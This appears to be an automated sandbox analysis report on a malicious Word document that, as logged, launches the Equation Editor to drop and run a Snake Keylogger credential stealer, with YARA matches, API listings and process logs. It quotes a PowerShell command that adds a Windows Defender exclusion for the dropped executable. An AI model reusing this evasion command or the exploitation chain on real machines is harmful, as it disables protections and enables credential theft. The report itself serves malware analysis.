Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056B318 8_2_0056B318
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00560006 8_2_00560006
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00569000 8_2_00569000
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00569D08 8_2_00569D08
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056B308 8_2_0056B308
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00565330 8_2_00565330
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056DA30 8_2_0056DA30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00566D30 8_2_00566D30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056F730 8_2_0056F730
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00566038 8_2_00566038
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056C020 8_2_0056C020
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00563920 8_2_00563920
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00565320 8_2_00565320
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056CD28 8_2_0056CD28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00564628 8_2_00564628
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00566028 8_2_00566028
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00565BD4 8_2_00565BD4
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056C8D0 8_2_0056C8D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005641D0 8_2_005641D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00564ED0 8_2_00564ED0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00564ED8 8_2_00564ED8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056D5D8 8_2_0056D5D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056FBD8 8_2_0056FBD8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056AEC0 8_2_0056AEC0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005641C0 8_2_005641C0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056C8C1 8_2_0056C8C1
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056BBC8 8_2_0056BBC8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005634C8 8_2_005634C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00562AC9 8_2_00562AC9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005682F6 8_2_005682F6
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005675F0 8_2_005675F0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00568FF0 8_2_00568FF0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005682F8 8_2_005682F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005668E4 8_2_005668E4
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00565BE0 8_2_00565BE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056E4E0 8_2_0056E4E0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005668E8 8_2_005668E8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00566490 8_2_00566490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00567E9E 8_2_00567E9E
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00567198 8_2_00567198
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00568B98 8_2_00568B98
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056D180 8_2_0056D180
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00564A80 8_2_00564A80
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00566480 8_2_00566480
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00565788 8_2_00565788
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056DE88 8_2_0056DE88
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00567188 8_2_00567188
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005698B0 8_2_005698B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056AEB0 8_2_0056AEB0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056BBB8 8_2_0056BBB8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005634B9 8_2_005634B9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_005698A2 8_2_005698A2
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00567EA0 8_2_00567EA0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0056F2A8 8_2_0056F2A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00568BA8 8_2_00568BA8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00652E78 8_2_00652E78
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00650040 8_2_00650040
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00653558 8_2_00653558
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00653C38 8_2_00653C38
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00654318 8_2_00654318
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_006549F8 8_2_006549F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_006550D8 8_2_006550D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_006557B8 8_2_006557B8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00652E68 8_2_00652E68
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_0065354A 8_2_0065354A
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00652121 8_2_00652121
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00653C28 8_2_00653C28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00652130 8_2_00652130
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00652B00 8_2_00652B00
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00654308 8_2_00654308
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_006549E9 8_2_006549E9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00652AF2 8_2_00652AF2
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_006550C8 8_2_006550C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_00650ED8 8_2_00650ED8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_006557A8 8_2_006557A8
Yara signature match
Source: na.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: CLLPdgxhnmwGf5Y[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: cmnjgyugo61000.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, FpO6EurS5foft958ol.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, FpO6EurS5foft958ol.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: _0020.AddAccessRule
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: _0020.AddAccessRule
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, FpO6EurS5foft958ol.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs Security API names: _0020.AddAccessRule
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@26/8
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$na.doc Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRC503.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ................3.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............E3.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............Y3.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............h3.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............{3.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ................3.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n............... ................3.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ................3.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........3.........................s............X....... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ................3.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ................3.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ................4.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......4.........................s............X.......$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............(4.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............:4.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............F4.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............X.......2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............d4.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ...............v4.........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. ................4.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P............. ................4.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............. .......4........4.........................s............X............................... Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: na.doc ReversingLabs: Detection: 44%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
